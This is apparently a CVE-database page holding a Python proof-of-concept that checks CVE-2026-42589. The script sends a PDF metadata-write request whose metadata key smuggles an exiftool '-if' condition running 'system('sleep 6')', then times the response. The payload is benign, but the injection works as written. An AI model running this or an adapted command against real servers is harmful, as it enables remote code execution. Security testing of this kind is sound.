5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / manual_verify.py PY
#!/usr/bin/env python3
import argparse
import http.client
import time
from urllib.parse import urlparse


PDF = b"""%PDF-1.1
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
trailer
<< /Root 1 0 R /Size 4 >>
startxref
186
%%EOF"""


def build_body(boundary: str) -> bytes:
    metadata = br"""{"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}"""
    parts = [
        b"--" + boundary.encode(),
        b'Content-Disposition: form-data; name="files"; filename="sample.pdf"',
        b"Content-Type: application/pdf",
        b"",
        PDF,
        b"--" + boundary.encode(),
        b'Content-Disposition: form-data; name="metadata"',
        b"",
        metadata,
        b"--" + boundary.encode() + b"--",
        b"",
    ]
    return b"\r\n".join(parts)


def main() -> int:
    parser = argparse.ArgumentParser(description="Raw multipart timing check for CVE-2026-42589 lab")
    parser.add_argument("target", nargs="?", default="http://127.0.0.1:3000")
    args = parser.parse_args()

    parsed = urlparse(args.target)
    if parsed.scheme not in ("http", ""):
        raise SystemExit("Only http targets are supported by this lab script")

    host = parsed.hostname or "127.0.0.1"
    port = parsed.port or 3000
    boundary = "----NucleiBoundaryCVE202642589"
    body = build_body(boundary)

    conn = http.client.HTTPConnection(host, port, timeout=15)
    headers = {
        "Host": f"{host}:{port}",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body)),
    }

    start = time.monotonic()
    conn.request("POST", "/forms/pdfengines/metadata/write", body=body, headers=headers)
    response = conn.getresponse()
    response_body = response.read()
    elapsed = time.monotonic() - start
    conn.close()

    print(f"HTTP/{response.version / 10:.1f} {response.status} {response.reason}")
    print(f"TOTAL_TIME={elapsed:.3f}s")
    if response_body:
        print(response_body.decode("utf-8", errors="replace"))

    return 0 if response.status == 500 and elapsed >= 6 else 1


if __name__ == "__main__":
    raise SystemExit(main())